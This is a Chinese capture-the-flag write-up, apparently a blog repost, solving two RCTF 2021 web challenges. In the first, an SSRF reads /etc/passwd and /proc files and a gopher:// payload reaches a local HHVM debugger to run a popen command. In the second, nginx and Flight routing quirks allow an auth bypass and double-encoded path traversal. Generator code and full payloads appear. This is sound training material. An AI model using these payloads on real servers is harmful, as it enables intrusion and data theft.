尧图精选

攻防世界-web

🕒 发布时间:2026/10/1 15:59:21 📁 来源:尧图网络
7th-RCTF-2021WEB7th_2021RCTF11_2021(hiphop)点击http登录会进行跳转跳转后的网页显示了源码信息查看源码代码审计?hh// 1. 声明为 Hack 语言文件HHVM 专用并非标准 PHP__EntryPoint// 2. Hack 属性标记此为脚本入口点类似 PHP 的 __autoload 入口functionmain():void{// 3. 定义主函数void 表示无返回值// 4. 根据客户端 IPREMOTE_ADDR生成 MD5 字符串拼接出沙箱目录路径$sandbox/var/www/html/sandbox/.md5($_SERVER[REMOTE_ADDR])./;// 5. 尝试创建该沙箱目录 符号用于抑制所有错误输出如目录已存在或权限不足mkdir($sandbox);// 6. 使用 file_get_contents 读取当前脚本自身的完整源码存入变量 $s此时 open_basedir 尚未限制$sfile_get_contents(__FILE__);// 7. 设置 open_basedir 为刚创建的沙箱目录限制后续 PHP 内置文件函数只能访问该目录// ⚠️ 注意此设置对 cURL 扩展无效因为 cURL 底层使用 libcurl不遵守 PHP INI 限制ini_set(open_basedir,$sandbox);// 8. 判断 GET 参数中是否传入了 urlif(!isset($_GET[url])){// 9. 如果没有 url 参数则输出第 6 行读取的自身源码echo$s;// 10. 输出两个换行符用于分隔echo\n\n;// 11. 输出当前沙箱路径便于调试同时也泄露了敏感信息echo// Your sandbox:$sandbox;}else{// 12. 如果存在 url 参数则取出其值若值为空则默认请求本地 hello.html$url$_GET[url]??http://127.0.0.1/hello.html;// 13. 初始化 cURL 会话$chcurl_init();// 14. 设置 cURL 要请求的 URL完全由用户控制未做任何过滤/校验curl_setopt($ch,CURLOPT_URL,$url);// 15. 设置返回响应内容不直接输出curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);// 16. 设置不返回响应头只返回响应体curl_setopt($ch,CURLOPT_HEADER,0);// 17. 执行 cURL 请求将结果存入 $output$outputcurl_exec($ch);// 18. 关闭 cURL 会话释放资源curl_close($ch);// 19. 直接输出 cURL 获取到的内容可能来自本地文件或外部 URLecho$output;}分析代码作用根据访问者 IP 创建沙箱目录/var/www/html/sandbox/IP_md5/设置open_basedir为该沙箱目录限制后续 PHP 文件操作范围如果没有url参数输出自身源码和沙箱路径如果有url参数用 cURL 请求该 URL 并输出响应内容通过源码分析我们可以控制url参数说明大概率是SSRF漏洞尝试读取passwd文件?urlfile:///etc/passwd成功读取因为file是curl的一个协议所以不受open_basedir的限制尝试读取进程信息?urlfile:///proc/self/cmdline/proc/self指向当前进程HHVM 的 workercmdline是它的启动命令行vs_debug_enable1→VS Code 调试器被打开了whitelist_exectrue 空白名单 →exec 类函数被禁后面执行命令需要绕过读网络连接表?urlfile:///proc/net/tcp通过ai分析连接表信息HHVM 的 VS Code 调试器的官方文档开启hhvm.debugger.vs_debug_enable1后默认在TCP 8999监听8999 要的是裸 TCP 的 JSON 消息可以利用gopher 协议gopher URL 的格式是gopher://host:port/_数据libcurl 会把数据URL 解码后原样作为 TCP payload 发出所以gopher://127.0.0.1:8999/_后面跟什么字节8999 就收到什么字节这是 SSRF 打非 HTTP 服务的通用手法打 Redis、Memcached、MySQL 即协议走私构造 DAP 消息DAP 消息是 JSON消息之间用\x00分隔。第 1 条attach—— 让调试器进入附加到 server模式建立调试会话。{command:attach,arguments:{name:Attach,type:hhvm,request:attach,host:localhost,port:8999,remoteSiteRoot:/,localWorkspaceRoot:/,__configurationTarget:5,__sessionId:,sandboxUser:root},type:request,seq:1}第 2 条evaluate—— 在调试器上下文相当于 REPL执行任意 Hacklang 表达式。这就是 RCE 点。{command:evaluate,arguments:{expression:popen(/readflag|base64/tmp/caoni_x,r),context:repl},type:request,seq:2}对两条DAP消息进行拼接DAP 协议规定消息之间用空字节\x00分隔手拼容易出错所以用脚本生成两条消息分别 URL 编码后用%00拼接——%00就是空字节的 URL 编码形式 用法 python gen_dap.py 复制输出的一整行手动继续 1. 前面拼前缀: gopher://127.0.0.1:8999/_ 2. 整行在 Burp Decoder 里再做一次 URL encode 3. Burp Repeater 发送: GET /?url最终串 importjsonfromurllib.parseimportquote attachjson.dumps({command:attach,arguments:{name:Attach,type:hhvm,request:attach,host:localhost,port:8999,remoteSiteRoot:/,localWorkspaceRoot:/,__configurationTarget:5,__sessionId:,sandboxUser:root},type:request,seq:1},separators(,,:))evaluatejson.dumps({command:evaluate,arguments:{expression:popen(/readflag|base64/tmp/caoni_x,r),context:repl},type:request,seq:2},separators(,,:))# 每条消息 URL 编码用 %00 分隔拼接输出一行可直接复制的文本print(quote(attach,safe-._)%00quote(evaluate,safe-._)%00)%7B%22command%22%3A%22attach%22%2C%22arguments%22%3A%7B%22name%22%3A%22Attach%22%2C%22type%22%3A%22hhvm%22%2C%22request%22%3A%22attach%22%2C%22host%22%3A%22localhost%22%2C%22port%22%3A8999%2C%22remoteSiteRoot%22%3A%22%2F%22%2C%22localWorkspaceRoot%22%3A%22%2F%22%2C%22__configurationTarget%22%3A5%2C%22__sessionId%22%3A%22%22%2C%22sandboxUser%22%3A%22root%22%7D%2C%22type%22%3A%22request%22%2C%22seq%22%3A1%7D%00%7B%22command%22%3A%22evaluate%22%2C%22arguments%22%3A%7B%22expression%22%3A%22popen%28%27%2Freadflag%7Cbase64%3E%2Ftmp%2Fcaoni_x%27%2C%27r%27%29%22%2C%22context%22%3A%22repl%22%7D%2C%22type%22%3A%22request%22%2C%22seq%22%3A2%7D%00上面就是拼接好的结果第一层编码前面拼上 gopher 前缀gopher://127.0.0.1:8999/_整行再 URL encode 一次第二层编码——因为整条 gopher URL 是?url的参数值服务器解析参数时会解码一次不做第二层的话%会被提前解掉curl 拿到的就不是合法 gopher URL请求直接失败?url%7B%22command%22%3A%22attach%22%2C%22arguments%22%3A%7B%22name%22%3A%22Attach%22%2C%22type%22%3A%22hhvm%22%2C%22request%22%3A%22attach%22%2C%22host%22%3A%22localhost%22%2C%22port%22%3A8999%2C%22remoteSiteRoot%22%3A%22%2F%22%2C%22localWorkspaceRoot%22%3A%22%2F%22%2C%22__configurationTarget%22%3A5%2C%22__sessionId%22%3A%22%22%2C%22sandboxUser%22%3A%22root%22%7D%2C%22type%22%3A%22request%22%2C%22seq%22%3A1%7D%00%7B%22command%22%3A%22evaluate%22%2C%22arguments%22%3A%7B%22expression%22%3A%22popen%28%27%2Freadflag%7Cbase64%3E%2Ftmp%2Fcaoni_x%27%2C%27r%27%29%22%2C%22context%22%3A%22repl%22%7D%2C%22type%22%3A%22request%22%2C%22seq%22%3A2%7D%00发送这步是扣扳机gopher 把 DAP 消息原样发到 127.0.0.1:8999调试器收到 attach建立会话 evaluate执行命令执行了popen(/readflag|base64/tmp/caoni_x,r)/readflag是 setuid root 程序只有它能读/flag0600 root 权限输出 base64 编码后写进/tmp可写目录因为whitelist_exectrue拦了 exec/system/shell_exec 等都走 check_cmd 检查但 popen 没走这个检查等 2 秒再读?urlfile:///tmp/caoni_x再用 file:// 任意读读回/tmp/caoni_x内容就是 base64 编码的 flag管道里做了 base64 处理防止特殊字符乱码/截断Base64解码RCTF{good luck hhvm i think this should be harder}7th_2021RCTF05_2021(easyphp)通过dirsearch目录扫描发现可以index.php和README.md可以直接访问下载直接访问/index.php下载源码源码审计index.php$usernameadmin;$passworduniqid(asdfsadf,true).YouWillNerveKnow;// 随机密码不可爆破// 全局危险参数过滤递归检查 GET/POST/COOKIE/FILES 的 key 与 value 是否含 ../functionisdanger($v){if(is_array($v)){foreach($vas$k$value){if(isdanger($k)||isdanger($value))returntrue;}}else{if(strpos($v,../)!false)returntrue;}returnfalse;}$app-before(start,function(){foreach([$_GET,$_POST,$_COOKIE,$_FILES]as$value){if(isdanger($value))die(go away hack);}});// 认证路由URL 含 login 放行否则要求 session$app-route(/*,function(){global$app;$request$app-request();$app-render(head,[],head_content);if(stristr($request-url,login)!FALSE){returntrue;// ← 认证绕过点URL 中出现 login 即放行}else{if($_SESSION[user])returntrue;$app-redirect(/login);}});// 文件浏览路由data 参数拼 ./ 前缀后交给视图$app-route(/admin,function(){global$app;$request$app-request();$app-render(admin,[data./.$request-query-data],body_content);// ← LFI 点$app-render(template,[]);});并且发现README.md是Flight 官方文档index.php的源码中$app-render(admin,[data./.$request-query-data],body_content);代码是用来渲染 admin 模板根据官方文档可知模板文件就在./views/下所以admin 路由对应的就是views/admin.php通过浏览器直接访问发现也可以下载views/admin.php?php$dirpathinfo($data?$data:.,PATHINFO_DIRNAME);foreach(scandir($dir)as$v){echoa href\/admin?data$dir/$v\$v/abr /;// 目录浏览}??phpif($data){??phpechofile_get_contents($data);?// 任意文件读取受 ./ 前缀与 isdanger 限制?php}?通过源码审计已知漏洞#漏洞位置1认证绕过URL 含 “login” 即放行/*路由stristr($request-url,login)2任意文件读取LFI/admin路由 →file_get_contents($data)3危险过滤绕过../黑名单不完整isdanger()仅查字面../直接访问admin发现为403绕过nginx 对/admin的 403nginx 的拦截是精确路径匹配location /admin之类大小写敏感。而Flight 框架默认路由大小写不敏感flight.case_sensitive false/Admin、/ADMIN都能匹配到/admin路由。尝试用Admin绕过成功绕过网页跳转到了login绕过login 检查认证路由的判断是stristr($request-url, login)这里$request-url取自 nginx 传的REQUEST_URInginx 的$uri变量不含 query string。所以往 query 里塞 login 没用/Admin?xlogin - 303query 不会进 REQUEST_URIstristr 匹配不到未绕过用%3FURL 编码的问号把login写进路径字面。nginx 解码后$uri /Admin?xlogin问号字面出现在路径中REQUEST_URI 里就有 “login” 了/Admin%3Fxlogin - 200URL 字面含 login → 认证放行 → 匹配 /admin 路由绕过成功成功进入文件浏览功能注入 data 参数isdanger 绕过 nginx 规范化绕过进入/admin后要读取目标文件得让$request-query-data变成目标路径。这里有两道过滤isdanger检查$_GET中所有 key/value 是否含字面../含则die(go away hack)nginx 路径规范化URI 里的..段会被 nginx 提前归一化吞掉直接写../根本到不了后端。Flight 框架的执行顺序1. before(start) filter 检查 $_GET ← 此刻只有真实 query里的参数REQUEST_URI 中的参数尚未合并 2. _start() 构造 Request 对象 → Request::init() 里执行 $_GET parseQuery($this-url) 把 REQUEST_URI 里的 query 二次解析并合并进 $_GET ← 过滤器已跑完管不到了 3. /admin 路由读取 $request-query-data此时已包含合并后的参数也就是说只要把data参数编码进 REQUEST_URI用%3F开头 %26当分隔符它就不会经过 isdanger 检查/Admin%3Fxlogin%26data../../flag但../../的字面..段仍会被 nginx 规范化掉。再用双重 URL 编码%252f解决——nginx 只解码一层此时路径里没有纯..段..%2f不是..nginx 不会规范化到 Flight 的parse_str再解码一层恢复成..//Admin%3Fxlogin%26data..%252f..%252f..%252fflag成功读取到flagRCTF{Soooo0000ooo000oooo0oo_e4zy}
上一篇/下一篇内容由系统自动关联 返回资讯列表 →